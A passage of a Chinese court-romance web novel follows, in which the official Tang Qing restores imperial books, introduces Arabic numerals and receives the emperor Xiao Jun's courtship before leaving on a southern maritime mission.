唐青呼吸停滞了一下, 别开眸:“那又如何。” 后悔了, 又如何? 是要收回他的权利,把他从如今的位置上拉下来,还是另有打算? 无论囚他或放他, 身为君王,至高无上,要整治他,只不过动动嘴巴的事。 唐青超乎预料的平静, 萧隽目光一痛, 低声问:“孤在你心里, 仍是那样的人?” 唐青:“……” 目光相汇间,彼此皆微微一震。 唐青掩了长睫,哑然稍息。 还待说些什么,兰香侯在门外,说是晚膳已经准备妥当。 萧隽道:“先用膳,今日叫卿受惊了。” 唐青也知刚才自己的话有点伤人,遂轻轻点头, 权当给彼此一个台阶下了。 二人份的膳食,四菜两汤, 唐青脾胃一般,吃的多以清淡为主,所以上桌的都是淡食。 他在饮食方面对于肉质食物并不避讳,去腥去油即可,对他来说,能吃亦是种福气,身体有力气和元气,才能加快恢复的速度,提升免疫力。 唐青多夹了一块排骨,转眼就看到萧隽夹起几块排骨和莲藕放入瓷骨汤碗中,将汤碗换到他手边放着。 沉默地用了会儿晚膳,唐青尝了几口汤,侧首抬眸,恰好撞入萧隽悄然落在他脸上的目光。 萧隽盯着他水润鲜亮的唇,半晌无言。 “陛下——” “卿——” …… 唐青:“陛下有何吩咐?” 萧隽:“卿可有什么想说?” 同时沉寂又再次响起的话语,使得二人对望的眉眼相继怔松,冲散了适才的安静,唐青兀自笑了笑。 “膳食清淡,臣唤后厨再多备几道送来。” 萧隽:“不必劳烦,孤就要回宫了,卿早点歇息。” 能与唐青有此平淡自然的氛围用膳,萧隽心知得来不易,也知适可而止,若再继续久留,又该引得唐青冒出回避的念头。 唐青轻轻颔首:“臣送陛下。” 萧隽没有拒绝。 他们一前一后走出堂屋,穿过前院,此刻四周沉浸在晦暗之中,方才入夜,空气里飘起几分潮湿的冷意。 萧隽在门前坐上马车,并未立刻落帘,而是看向阶台上的那道纤细素影,锋利的眉目专注,浮出些许缓和下来的柔色。 “等到今年开春,卿可愿随孤到近郊走走。” 唐青:“……” 明明可以一道口谕决定的事,偏要向他发出邀请。 他拱手拂了拂身:“臣领命。” 萧隽很淡的勾了勾唇,只当他答应,略去了后面的话。 “夜深风寒,卿进屋了罢,孤回了,明日见。” 唐青目送马车驶远,听到兰香的催促声,这才收起视线,心里缠绕着几许复杂,徐步回了屋内。 ** 翌日,就如他所料,一早便多了几份参他的折子。 先说有群众目睹他欺压流民百姓,又砰击他这几年恃宠而骄,凭仗皇恩,忘了做官的本份。 折子刚出,唐青倒是淡定。 这几年,参他的奏折不多,可也不少,但都被萧隽压了下去。甚至因萧隽的庇护,底下的官员连带着萧隽也参上了。 官员互参在朝上成了日常,唐青在尚书台任职几年,已然司空见惯, 他不急不慢地出列,还没自辩,便有文职一派的官员出列为他说话。 自韩擒西去幽州,在朝上与他甚亲的几名武官也替唐青站了队。 尚书令寇广陵更是堂堂正正的袒护下属,怡然笑道:“唐大人品性德行非但天地可鉴,我想诸位大人也是有目共睹。这些年他为皇上,为了大邺殚诚毕虑,慎终如始,更是几次孤身犯险,在外几欲丢了性命,何来忘记本份?” “且唐大人身薄羸弱,仍在天寒地冻时亲自赶赴乡县援灾救民,试问在场有几人能做到?” 旁的文官说道:“唐侍郎在返程中途受惊是小,若那些个流民不知轻重致使侍郎受伤,岂不是我大邺的损失?” “唐大人晋升官秩已久,位列从二品重臣,前不久下官却见大人出行时一贯的素简低调,那仪仗规格恐怕连四品官员都不若,此廉洁之风,叫下官钦佩之极,汗颜无地。” 萧隽目光不复往日淡漠,忧切之意浮露。 他开了口,亲自添了唐青的仪仗,提起今年修缮藏书楼一事,还给唐青赐了明兰学士的头衔,将他调去攥复旧籍。 修攥典藏的旧籍是一桩还不错的美差,做好了有功,给官秩镀层金,且无须忧心劳虑,比起在尚书台操劳,把唐青暂时遣去攥修书籍,萧隽还是挺满意的。 唐青去年辗转冀、幽二州负责边贸,被俘去突桀,整年下来长途奔波劳碌,回来后又随尚书台一众官员参拟今年初政,调去藏书楼,也是让他真正休息一段日子。 议完藏书阁,萧隽继续钦点了几名官员,分别调往南境各州,负责治理今年的水患灾害。 点完一批官员,意味着都得到了提拔晋升的机会,艳羡的目光很快分散在大殿之内,集聚在唐青身上的视线便逐渐少了。 散了朝会,唐青照例被请去颐心殿。 暖阁内,萧隽换了一身常服,棋盘上的象棋已经摆好,眼前的阵势,只等他一人了。 萧隽替他倒了盏茶,道:“坐。” 唐青顺从坐在棋盘另一边,饮完茶暖了身子,夷然自若地先和萧隽下完这局棋。 萧隽道:“指使流民滋事的幕后之人找到了,属左长史门下。” 左长史,也是当今魏太尉跟前的红人了。 唐青安静听完,并不意外,与他之前料想的大差不差。 自他主张官秩削减制度以来,凡朝内官员三代无功勋累建,俱被取消爵位,成丁后继承父爵多数降级,私下埋恨他的官员其实并不少。 他也知萧隽今日调他去藏书阁的意思,一来借机暂掩锋芒休养身子,二来,顺势给他建立劳绩的机会。 萧隽问:“可想离开尚书台。” 唐青抬了抬眼皮,嗓音清正道:“臣如今很好。” 以他目前的处境,想再晋升难度颇高,再往上,便为尚书令一职。 若调去外廷,官秩晋升的机会就多了不少。 但外廷掣肘颇多,党派相争犹如巨网樊笼,留在内廷,他只听命君王一人,牵束少了很多。 且唐青对目前的处境并无不满,居于三公之下,与九卿相比,又多了优势,加之尚书台的同僚各个真心待他,唐青笑道:“臣留在尚书台。” 又道:“多谢陛下为臣考虑。” 萧隽道:“卿一派云淡风轻,孤倒想替你争一争。” 唐青不解。 萧隽:“大邺君后的位置,你想不想坐?” 唐青眉心一跳:“陛下慎言。” 萧隽吃了他一子,手中如御千军,目光却浮出些许柔色。 他的神色很是自然: “孤心悦你,想与你同享九州山河,治理天下万民,此话皆出自肺腑真心,君王一言,何谈儿戏?” 唐青不说话了,象棋执在指尖,垂眸思考,良久才有了下一步的动作。 萧隽道:“此诺无悔。” 唐青:“臣出身微末,只是个平凡人。若未来有了伴侣,与对方,也只有彼此,陛下身份尊贵,与臣——” 萧隽道:“过去你曾说,为情为心,此生只取一人。” 唐青:“……” 那时他只拿类似的话当成拒绝的借口,没想对方此刻提起。 萧隽道:“这几年后宫空置,今后也会如此,孤没有违背你想要的。” 唐青从那双淡目中读出了意思。 萧隽等着他入主后宫,做他大邺的君后。 一个心神不注意,棋盘上他的帅棋又被吃了。 第120章 第 120 章 仲春之月, 乍暖还寒,逢此时节,唐青的身子总是病一阵好一阵, 咳症断断续续的, 竟是缠绵了将近一个月。 他今日无须去尚书台, 在府内用完早膳服了汤剂, 等外头的风稍微停止, 天色半晦半明, 是个阴天。 他整理好衣物, 准备乘车去宫内。 兰香在长阶底下仔细嘱咐,唐青坐在车内,把她递来的东西都接了好好放着。 有蓝白色相见的药囊, 里面装着缓解咳嗽胸闷的甘草药片。硬币大小的瓷罐,装着润肤护手的膏脂。还有滋养脸部预防过敏脸脂,用天青色裂纹的瓷罐装着,这是萧隽之前差御医给他调配制作的。 他一脸无奈与温柔, 将兰香备好的大小瓷罐药囊统统带在身边。 入了皇宫, 唐青径直前往藏书阁, 跟进纂修旧籍的进度。 书阁门外,两名与他一起负责修攥的同僚搬了许多文卷到一楼,他们准备等天色出晴时,将这些夹着腐味的书带到日头底下摊开了晒晒,去味驱虫。 二名同僚见到他,纷纷笑着开口:“侍郎来了。” 唐青回应了二人的招呼,道:“可有何事我能帮忙?” 说着, 将袖摆往上捋去。 他今日不上朝,只着了春衣常服, 外罩嫩青水墨风晕染的宽袍,露出一截细长纤美的手腕。 腕子如雨露里倾出芽的笋,雪白柔嫩,接过同僚怀里捧来的文卷时,指尖无意相触,对方猛地怔在原地。 唐青抱着书走向一楼,空气里散出一股温暖浅淡的药香。 药香仿佛沾染在驻足发呆的同僚脸上,只见他霎时了一张脸,盯着被唐青碰到的手指,七魂飞了六魄般,心跳急速地返回二楼搬运余下的书籍。 临近正午,晴日破云,日色落在红墙碧瓦的宫墙上,琉璃瓦折出盈盈流动的青绿色,投射出温暖古韵的光芒。 唐青与同僚把书籍都搬到空地晾晒,忙活一阵,血气涌向四肢百骸,浑身暖洋洋的。 近些日子他病气缠身,此刻有些苍白的面颊浮出两抹殷开的红,唇瓣的血色也显出许多。 同僚见他如此,说道:“这会儿晒着,不若侍郎先回阁楼坐下,此地留下官看守就好。” 唐青接受了同僚的建议,往返藏书阁时,在一道回廊的角落有人背对着外墙蹲坐,手里似在摆弄。 他悄然走近,听到此人嘀嘀咕咕的算着什么, 另一名搬运旧籍的同僚瞧见,说道:“李问,让你筹计晾晒的文卷,你又躲起来偷懒!” 那蹲坐的李问说道:“大人这就冤枉小人了,小人不正是在筹算么?” 同僚:“晒在太阳底下的书卷几多,你这么点筹棍能算清楚?” 李问指指脑子,斩钉截铁道:“能!” 从二人对话和眼前的形势看,唐青大致弄明白了情况。 李问负责统计。 在大邺,乃至当今朝代,计数多以来筹棍来算,计算数量越大,需要摆弄的棍子也就越多,若以平日筹算的方式来计数晾晒的书籍,此时地面该摆满一大摞棍子。 唐青笑了下,心知这个时代计数总归不如现代方便快捷。 他让李问起身,随他一起到晾晒文卷旧籍的地方。 李问:“大人有何吩咐?” 说着,并不敢与唐青对上眼神,容易脸红。 两名同僚也跟了过来:“侍郎可要我们帮忙?” 唐青来到晾晒的场地,让李问与他一起统计当前的书籍数目。 李问道:“大人,您别小瞧下官手里的筹棍少,下官以口诀配合,筹算的速度只比寻常人快。” 唐青没说话,拿了一只炭棍:“开始吧。” 李问和两名修攥学士纷纷睁大眼睛:“大人,您只要一根筹棍?” 唐青微微抬脸,眸光里带着平和稳定的力量:“足矣。” 李问踟蹰,唐青视线扫过四周,在地上写了些数字。 修攥学士盯着陌生的字符,从彼此的目光里看到了疑惑。 李问开始摆起筹棍,在心内以口诀运算了一会儿,耳旁落下一道清润如玉的声音。 唐青笑着说了个数字,李问诧异,待他将旧籍算完,已过去半刻钟,得到的数目与唐青的分毫不差。 李问诧异:“大人,您莫非只以这些奇怪的字符筹算出结果?” 唐青颔首:“自然。” 又道:“这些阿拉伯数字,搭配运算符号,很快就能算出结果。” 数字计算,远比筹算来的方便,一目了然。 也正是此刻,唐青心底忽然冒出了一些新奇的想法。 春日枝头点缀着薄红嫩青,晴光灿烂,远不及落在青年眉眼的春色,远看犹如一卷灵动温柔的画。 两名修攥学士和李问忽然跪下,齐齐叩拜:“参见皇上。” 唐青转过头,萧隽不知几时出现,站在墙门看着他。 唐青迎上前,正欲拱手行礼,被萧隽拦了下来。 四周的人俱被屏退,萧隽看着他指尖残留的炭黑痕迹,待宫人送了丝帕,替唐青擦拭。 唐青蜷起指尖:“陛下,臣自己来就好。” 萧隽也不勉强,帕子交给他,走到书写数字的地方:“这是什么意思?” 唐青一边擦手一边回答:“数字,阿拉伯数字。” 说着,他把数字计算的概念和运用与萧隽详细解释,又道:“陛下,臣想将数字在大邺推广开来。” 数字的运用和计算渗透许多方面,如今的筹算过于冗杂,若能普及,不失为一件好事。 萧隽定睛看着他:“这也是唐卿那个时代的?” 唐青:“回陛下,正是。” 萧隽目色平淡:“卿的想法很好,可想在大邺推及,并非易事。” 唐青沉默:“……臣明白。” 历代以来,书籍一直为贵族和世家垄断,知识传播范围甚微,就连寒门子弟,能出头的也寥寥无几,绝大部分平民阶层的人没有机会接触到这些资源。 若想推及文化,就必须打破历朝历代的官秩选拔制度,让每个人都有读书的机会。 此举无异于再次打破阶层利益,重新划分资源。 萧隽与他并肩而行,虽未言语,但唐青明白若自己想做,对方仍是他的靠山。 改革选拔制度,有利于分散朝堂各党势力,让新鲜的血液融入,培养属于萧隽的势力。 萧隽停步,伸手替他拂去落在发间的花枝。 唐青瞥过脸,下意识往后。 春日滋生了许多青苔,他脚底一滑,踩在冒着绒绒青苔的石子上,好巧不巧地往萧隽胸怀摔去。 萧隽看着他,眉眼浮起笑意。头更是凑近了,停在他发上嗅了嗅。 “好香。” 唐青:“……” 萧隽轻轻拍了拍他的肩膀:“可摔疼了?” 唐青绕开石子,专挑不长青苔的路走。 走了没几步,回头,刚好撞见萧隽嗅着指尖。 他眼皮一跳,萧隽那身高贵的淡漠散去,倒是脾气很好的样子,还冲他回了一笑。 120-130 第121章 第 121 章 唐青连着数日在藏书阁修书攥书, 萧隽随他一同在馆内察视。 此次负责纂修旧籍的工作只派了四名学士负责,唐青和其他几名学士共同商议出一套新的修订条规。 依照新条规工作,一段日子已显成效。 此时只见旧籍陈放井井有条, 重新攥写与修复过的书籍文卷俱有序归类, 毫无杂章错乱, 一目了然。 若无差池, 纂修旧籍一事可在预期之内提前完工。 萧隽偏过双目, 眼前的唐青坐在书案旁, 一头青丝如乌缎披落在肩背, 正在目不转睛地翻理宗卷。 他不禁柔下口吻:“卿这些日子可觉辛累。” 唐青视线仍流连在竹简上,抽空抬眸,看向萧隽的眼睛回话。 “阁中汇藏了许多珍奇书卷, 臣借此机会观览,只觉心胸豁然不少,工作也成了另一种趣味,并不觉乏惫。” 闻言, 萧隽对他更是心生怜惜。 今年皇林春猎, 唐青因修复旧籍的事一直留在藏书阁, 未参与狩猎的热闹。萧隽担心他闷坏了,巡到阁内三楼时,借着窗扉窥见几缕明媚的天光,心念悄然一闪。 萧隽道:“春色尚好,卿可同孤一道去田郊走走。” 这是今年隆冬时萧隽与唐青邀约好的事,唐青当时应允,一诺无悔。 他立在台阶底下, 和驻足在阶前凝目注视自己的萧隽对视,瞬息之后别过眉眼。 他拱了拱手:“臣随时奉命。” 如此, 二人便低调出宫,萧隽没有骑上雷首,只命人牵来两匹普通的雪花骢,性子最为温顺的那匹分给唐青。 唐青弯了弯眸子,和雪花骢对视,指尖温柔的抚上它的鬓毛,低头诉说几句耳语。 萧隽瞥了眼雪花骢,心绪些许复杂。 唐青话音落罢,翻身上马,雪花骢载着他稳妥踱步,缎黑发丝在风里扬起秀美的弧度,略至萧隽抬起的手指。 萧隽卷着握住的一缕青丝,目光流动几许悦色,很快上了马,和他并肩骑行。 邺都城内的车辆马匹驾驶时需得限速,唐青和萧隽慢慢驭着雪花骢往城门去,待出了城,迎着春光里流动的风,雪花骢渐渐快跑起来。 唐青水墨嫩青的衣袂随风翻飞,萧隽纹丝不动,此景此人,叫他看见了山野中最亮丽的一抹春色,舍不得挪开半分眼神。 很快,萧隽夹紧马腹追了上去。 有了雪花骢的配合,唐青尽兴地沿着田垄乡野骑行许久。 春光大好,他嗅着乡野稻田散发的清香,唇畔上扬,一双桃花眸尽显明媚之色。 他专注地环望四周,殊不知萧隽也在认真地看着他。 待到暮色四起,霞光渲染了大半面山谷,唐青半仰红如艳桃的脸庞,长睫仍弯弯的,笑道:“爷,咱们该返程了,若再耽搁,城门可要关闭了。” 萧隽喉结一滚:“嗯。” 素来勤政办公的帝王,此时竟也期冀夜色不要来得太早,心底贪享这份宁静美好。 唐青晃了晃指尖上绿葱葱的草条,末端系了只活灵活现的草蚱蜢。 萧隽看着那只蚱蜢,笑了一下。 ** 二人进了城,天色尚余少许微光,另一半暗蒙蒙的。 白日还较为暖和,日头一落,空气里又漂浮着春日的冷意,饶是如此,街头往来的行人并不算少。 王城繁华,每日多的是努力留在城里生活的百姓。 最寒冷漫长的冬季过去,冰雪消融,道路好走了,邺都不设宵禁,街边林立的铺面馆子陆陆续续点着灯笼开张营业,旗幡在风里晃动飘摆,揽客的门童站在门外高声吆喝。 唐青在田郊骑行半日,此刻不由朝一间馆子的灶台望去,锅里白气腾腾,带出食物的香味。 他摸了摸腹部,萧隽低声一笑:“可要随孤进这家馆子尝尝。” 唐青饿了。 腰间虽佩戴了布囊,里面装着蜜枣和糖点,是兰香备给他平时预防低血糖的。但比起食用这些小零食抵抗饥饿,他更想尝一尝刚出锅的热食。 唐青没多犹豫,点头应下。 萧隽把两人的雪花骢交给小二牵放安置,刚进馆子,面馆的老板满脸堆笑的亲自迎接:“二位贵客请里边坐。” 馆子占地一层,唐青寻了个临靠窗栏杆的内座,座椅朝向另一条安静的街道。 几个结伴的姑娘抱着竹篮里的花,踩着朦胧寒冷的夜幕,往灯笼亮起的方向赶。 唐青微微支起下巴眺望,眸光跟随姑娘们的身姿,似在欣赏一道美丽的景致。光影落在他脸上,镀了层细腻柔和的微芒。 萧隽同他面对面坐下,递出一个巴掌大的陶壶给他。 “喝些。” 唐青接过壶,嗅了嗅壶嘴,浅尝半口,是一壶温暖的酸梅汤。 甜甜微酸的滋味暖着他的四肢百骸,唐青胃口起来了,等热气腾腾的面和小菜送上桌时,已经提前拿起竹筷,夹着面,又舀了点汤,混在一起吹了吹,慢慢送进口中。 萧隽等他吃了一会儿,适才动手。 二人安静吃面,半晌,只听从云层里响起几道闷雷,扬了阵风,裹了湿意,丝丝凉凉的牛毛雨丝从窗栏飘着落在手背上。 这是兖州开春第二月以来,下的第一场雨。 唐青偏过眸光,丝丝细雨似将街道隔出迷离的纱帘,灯笼投映的光愈加蒙胧 ,眼前倏地暗下,却见萧隽抬起掌心,替他遮去飘在脸上的雨。 唐青心情意外地好:“微微小雨,无妨。” 萧隽:“换个座位。” 唐青碗里还剩不少面,为了不着风寒,只好听劝,换了张桌椅继续吃。 腹饱后,他和萧隽离开面馆。 两人没有乘着马车赶路,而是徐步穿在春雨滋润的朱雀大街上,雨水清凉,街头倒如往日喧闹繁华。 萧隽拿了条披风让他裹上,雪花骢已经命人牵走了。 此时唐青手里捧着温热的陶壶,里面还是酸梅汤,壶可暖手,酸梅汤随时饮用。 萧隽执了把竹骨伞,伞面大半倾向他,与他安静漫步。 周围人声鼎沸,在他们周围,却萦绕着微妙的寂静。 唐青抬眸,撞见萧隽投来的目光,而后垂下,此景此心,忽然有感而发。 萧隽没听清,问了句:“什么?” 唐青摇摇头:“若你我无身份之嫌,私下里或许能成为不错的朋友,甚至知己。” 这次萧隽听清楚了,捏着伞柄,默然无言。 朋友,知己? 朋友会有怜惜他,拥吻他,与他共赴春宵的念头么? 他和唐青做不成朋友,但那些话并未宣出于口。 若唐青能平和的与他相处,不再对他避之若浼,萧隽便当一当这个朋友、知己。 ** 萧隽送唐青回了府邸,刚分别,兰香很快带着伞和斗篷上前迎接。 唐青裹着御寒的披风,发丝一点雨都没沾到,唇红脸红,气色不错。 兰香庆幸:“还好先生没淋雨。” 又疑惑道:“只是……怎么是皇上送先生回府呢?” 唐青走进堂屋:“今日我与陛下去了一趟田郊。” 他放下盛着酸梅汤的陶壶,指尖还系着一只草蚱蜢。 兰香瞧见这惟妙惟肖的草蚂蚱,心念电闪,想起从前皇上也送过一只草蚂蚱给她家先生。 “先生……这、这又是皇上的御赐之物?” 唐青没有否认:“把它收起来吧。” 萧隽少时他母妃教他编织的小玩意,看似随意送给了他,可唐青明白这小玩意承载了对方无言的缅怀之情,意义非同小可,怎会轻易抛掷。 兰香哭笑不得,不明白皇上为何送他家公子这样的玉人一只草蚱蜢,要送也该送些可爱的小兔子,漂亮的小蝴蝶吧,虽然编得好,可也太奇怪了。 草蚱蜢到底是御赐圣物,兰香心里腹诽完,依旧小心翼翼地捧起它装进锦盒里,跟原来那只一并存放。 第122章 第 122 章 五月上旬, 藏书阁旧籍攥修的进度远比预期计划的更为顺利,兖州也迎来了属于北地的春天。 邺都王城内已是草长莺飞,日丽风清, 回暖的时节缓解了唐青的病症, 咳嗽已有半月没再出现。 这日下值, 时辰还早, 他乘车从宫门离开时, 途径朱雀大街, 听着沿途周围热闹的叫卖吆呼, 心里多了几分快意。 唐青透过帘子向外张望,笑着吩咐车夫把车停下,想要下去走一走。 车夫很快寻了空地将车停放, 搬来马凳,又小心掀开一面帘子。 “大人请。” 唐青踩着马凳徐步下车,眺目四望。 午前的朱雀街游人如织,地板被晒得轻微发烫, 走在街上, 艳丽的天光将他的披在身后的发丝镀了一层温煦的金色, 青丝缎黑明亮,柔软如水,款步行走时,素雅莲花团纹的披风微微垂摆,步步生莲,像是九天神祇下了凡。 唐青取出一把折扇,手腕转了转, 摆弄扇子的动作颇显几分风流雅致,引得行人驻足, 发出几道低哗。 他很少有此时的玩心,拿着折扇从茶楼经过时,一枝花忽然从天而落,恰好掉在他手里。 短促如银铃的娇笑声一闪而过,紧接着好几枝馥郁娇艳的花纷纷飞落,俱往唐青身上投去。 一旦有姑娘带头做了这件事,另外的人自然就壮起了胆子,红着脸,伏在茶楼栏杆上询问:“敢问公子是哪家出身,可有婚配?” “公子若无婚配,您看奴家成不成?” “公子若有正妻,奴家做个妾也不是不成。” 姑娘们出声了,另一座茶楼里探出身看热闹的人断不相让,其中几名锦衣公子也开了口。 “那位兄台,如若无意姑娘,在下替我兄弟也向你询问一门亲事,可中意我这位兄弟?” 唐青抬头,明眸波光流转,叫茶楼上连接起哄的人纷纷噤了声。 车夫一看这架势,赶忙挤开人群:“劳烦让让,别挤着我家大人——” 唐青对其示意不必紧张,如果有危险,萧隽放在他身边潜藏的暗卫就会出来,非紧要关头,那群暗卫不会打扰他的一切行动。 茶客们一听车夫称唐青为“大人”,又观他容貌气度不俗,非寻常富贵门户能熏陶出这样的人物,不由收敛笑意和调侃,不敢向他询问亲事了,连接走下茶楼,拱手作揖道:“敢问是哪位府上的大人?小人方才有眼不识泰山,若冒犯了大人,还请见谅。” 唐青示意无妨。 碰巧此时,街道忽来了一行规格不小的仪仗队,为首的官差喊道:“司空大人出行,闲杂人等速速回避。” 只瞬间,周围哄聚的人群如潮水散开,唐青孤身伫立,明亮的春光照着他,虽只一人,却耀眼瞩目,叫人不觉眯眼,又迫不及待地细瞧。 与司空一同坐在轿上的青年先开口:“是唐大人。” 唐青听到熟悉的嗓音,闻声回眸。 青年一身绯紫官袍,深眉高鼻,五官深邃,气质稳厚儒和,唤他的人恰是尚书台同僚李秀莽。 唐青这两个月负责修缮旧籍文卷,而藏书阁建立的年头较为久远,建筑上有的缺漏亟待修缮,李秀莽今日与大司空见面,正是为了商议此事。 李秀莽和司空下轿,朝唐青拂袖作揖。 大司空问:“大人何故在此,可要下官相送一程?” 李秀莽猜出唐青的一些心思,这会儿不愿扰他游街的兴致,遂主动开口,接了司空的话。 唐青抬起折扇点了点,落在一道方向上:“本官的马车停在那,不必劳烦大司空。” 司空也不好扰他雅兴,李秀莽回头看了他一眼,唐青眉眼含笑,冲他微微颔首,继续沿朱雀街逛下去了。 行过最热闹的路段,周围安静下来,唐青觉察有人跟着自己,不等他细思,只见暗卫押了两名妇人前来。 “大人,这二人鬼鬼祟祟地跟着你,可要带去府衙审问?” 妇人连忙辩解,先自报家门,继而称自己只是想给他说媒,并未打其他坏主意。 二名妇人头戴铜珠花钗,脸容敷粉,衣裳料子也非一般人家能穿得起的,从举止言行上看,的确像给人说媒的。 唐青道:“放了她们吧,勿要为难。” 妇人连连道谢,说罢,见唐青脾气好,谈吐温文得体,便笑盈盈地与他一同逛街,还是说些牵媒的事,但言辞里不似方才那般浮夸,而是慎之又慎,挑了几家婚龄合适的姑娘,姑娘不中意,还有郎君挑选。 毕竟连大司空都礼让三分的人物,唐青的条件摆在那,又尚未婚配,倘若能促成一门亲事,她们的好处还能少么? 唐青不曾驱赶她们,偶尔听一听这些闲杂事,感觉还算有趣,仿佛生活变得更为真实了。 到了金水街上,唐青要回府,遂同她二人告辞。 他话开了口,妇人不好纠缠,只能驻足相送,还说道:“如若大人中意哪家姑娘,同我们说,我们给您说亲去呐!” 唐青摇摇头,摆着折扇回府了。 此等小插曲他未在意,没成想过两天事情在邺都里传开,说金水街府上的一位大人要相亲。 于是,唐青府上门前渐渐有人拜访,兰香和副管事每日都要把人打发了去。 这日,唐青刚从藏书阁出来,一场蒙蒙小雨,他开了伞,才下阶梯,转个弯时伞柄便被来人握住。 萧隽屏退执伞的近侍,挤到唐青伞下,想了想,接过伞拿着撑起。 唐青见他还穿着朝服,许是才和其他官员议完会,来得较为匆忙。 虽有不解,但还是得体地行了礼。 “微臣参见陛下。” 萧隽看着他,淡色双目有些冷,让唐青想起某类冷血动物。 半晌,萧隽似是摒弃了那等杂念,与他边走边问:“卿要结亲?” 唐青疑惑:“陛下何意?” 萧隽:“给卿说媒的人,一早都排到了朝下。方才议会,连周相都与孤打听虚实。” 如果属实,周相门下倒有合适的人介绍给唐青。 唐青诧异,联想到前日在街上闲逛的情形,这才隐约猜出缘由。 他哭笑不得地摇头:“是个误会,臣不曾有成亲的打算。” 萧隽看着他,一路沉默,但整个人已不像方才阴沉。 唐青要出宫回府,见萧隽还撑着伞与他走,欲把伞接回来。 萧隽笑了笑,将伞还他,也不知有意还是无意,指腹擦过唐青手背。 “孤说的话还作数。” 唐青有些预感他要说什么。 萧隽:“后宫只你能入主,孤等你接受这份心意。” 第123章 第 123 章 登门提亲的事陆陆续续地告了一段落, 唐青遣副管事处理后续时,无端想起萧隽。 想着那人淡目中流露的恳请,那个九州山河同他许诺, 不由婉转轻叹, 过了须臾, 他把头绪杂念甩开后, 继续跟副管事把话吩咐下去。 这日沐休, 院中阳光正好, 兰香已经欣赏景致的亭子收拾妥当, 备了雨前新茶和点心,赶来书房传话时,唐青恰好停了笔墨。 兰香笑道:“先生出来透透气吧, 换处地方,兰香给您备好了。” 于是他便去了与回廊相连的观景亭,甫一坐下,很快弯了弯眉眼, 对着满园碧色独酌。 门房来报:“大人, 有客人登门拜访。” 兰香捏捏鼻子:“不是又想高攀我家先生想说亲的吧, 这样的人直接打发,不必客气!” 唐青示意她不要激动,门房挠挠头:“那人自报是什么藏仓右佐李问,来拜访大人并非为了求亲,而是为了学……什么伯数字?” 唐青:“是他,把人领过来吧。” 唐青对李问印象不错。 李问年纪轻,勤勉好学, 对阿拉伯数字怀着十分的好奇和热情,而且有一定的数学天赋, 若他学成,以后安排他推及阿拉伯数字,是个不错的帮手。 李问被兰香领到观景亭,怀里抱来了一摞书和执笔:“拜见大人!” 唐青笑着看他:“坐吧,喝点茶去热。” 李问赶忙坐好,顾不得喝茶,手忙脚乱地把怀里的纸张展开。 “大人,我照你传授的运算口诀,把十个数字全都算了一遍,您考考小人,若觉得成,可否再教小人更多的运算?” 唐青欣然应允。 旁边的兰香不甘示弱:“先生,兰香也要这什么数字,凭什么只教他呀。” 若兰香和副管事能掌握数字计算,对管理府邸账簿也有好处,于是点了点头,让她叫来副管事,趁今日得闲,索性一并教了。 琐事忙碌,时间过得飞快。 过两日唐青回宫上值,听另外一名学士说起外海商贸的消息。 距离开辟海上贸易路线已有一年半,航海难度颇大,时至今日才有更新一步的进展。 唐青凝神细思,举着茶盏摩挲,不多时,李显义出现在藏书阁替萧隽传话,宣他去颐心殿。 唐青稍微把书案收拾了一下,剩下的工作交给一旁的学士。 对方羡慕地看着他,说道:“侍郎尽管过去,余下的活儿下官会办妥的。” 唐青拍了拍对方的手臂,很快赶去颐心殿。 ** 殿内,萧隽高坐御案前,一旁还有左相周廷。 见他来了,两人停止商议,萧隽更是示意:“唐卿来看看这份密信。” 唐青站在御案旁,接过信纸,视线粗略往下扫去,心下诧异。 萧隽看着他的脸色:“唐卿看得明白?” 他轻轻点头:“像英文字母。” 他来到大邺,只对与大邺往来还算频繁的几个海岛国家做过了解,诸如东溟,夷越,所以借几次朝贡,向海国使臣询问外海领域的消息。 前年提出开辟海上贸易交通要道时,划出过比较笼统的范围。 密报上说,出行外海的军船由涿州水师底下的一名都司负责统筹,这名少都司性格火爆,但对于水师战斗领域相当执着胆大,他将出海筹备计划看了无数遍,最后自主请命,经过重重考核,带了两千名水师,火炮,医疗药物,大量瓜果茶叶和食物上船。 军船历行一年航海,四处兜兜转转地寻觅,最终在发现的一处岛屿下了船,遇到新的人族,以及在当地发现了特有的香料和物资。 送回邺都的密信足有一指厚度,包括绘制的新海岛航域地图,一年间所遇事迹的陈述。 此次入岛,这名少都司以前所未见的魄力征服了岛上的人族,却未施加暴行。以此人火爆的气性本以为会干些什么,不想对方什么都没做,把场面稳定下来后,严格遵照拟定的出海计划与当地的领头人联系。 双方经过一段时日的艰难“沟通”和“交流”,当地岛人收下了一些茶叶,愿意尝试与大邺建立物资贸易。 其中一张信纸上,写的正是十分蹩脚扭曲的英文。唐青仔细阅览,连读带猜,将信里的内容大概转给述萧隽和左相。 海岛首领很愿意与丰富大邺往来,他们希望大邺能分给他们一点类似茶叶,布料,为此,他们可以用岛上的东西进行交换。 签订相关条例协议还在进行中,接触半年,水师与岛民在语言沟通上仍有不小的障碍。 如今唐青能读出信上的内容,不仅左相惊奇,萧隽的目光里更是流动着柔和之色,无法不被唐青吸引。 唐青开口:“臣可以一试。” 萧隽收起目光,道:“孤不允你出海。” 纵使有大邺水师护航,也规划了清晰的航线,可海域对于绝大多人人而言,始终渺茫难测,放唐青出海,萧隽无法安心。 唐青也没有贸然出海的念头,而是温声建议:“陛下,不如以南郡沿海为起始,建立海域中转站。” 中转站是他们的地盘,可随时支援一切物资和兵力,有供水师生活训练的区域,与外海人接洽时,把人带往中转站。 唐青想先找机会接触岛上的人,了解他们的思想文化程度,如果可以,向外岛输送大邺的文化和货币,将起纳为大邺的附属也并非没有机会。 萧隽得知他的打算,一忖,答应了。 午后经一番商议,唐青择日南行。 * 启程当天,萧隽亲自送他。 城门二十里石碑外,林道葱郁,唐青回头,遥遥望了眼远去的王城,无奈道:“陛下,这般相送足够了。” 身后不远跟着御林禁军,无人赶上前打扰。 萧隽解下身上披风,为唐青拢上系好。 华美贵气的玄色龙纹披风衬得唐青多了几分不可接近的英贵冷然,带着一股麝香气息,几乎把唐青从头到脚裹了个严实。 他正准备行礼谢恩,萧隽扶着他的手,几乎将他半揽在身前轻拥。 唐青:“陛下,您——” 萧隽打断道:“此行为期三月,三月后正是凌霄花最盛烂的日子,王城遍地凌霄,沃若葱茏,若你三月之后没回邺都,孤便如踏平突桀那般,亲自南下接你回来。” 唐青:“……臣领旨。” 萧隽笑了笑,垂下脸,微微躬着身躯,几乎把唐青拢在怀里,下颌抵在他发端蹭了蹭,若有若无地印下一吻。 不等唐青开口,在被拒绝前,萧隽已经松手。 “孤等你。” 第124章 第 124 章 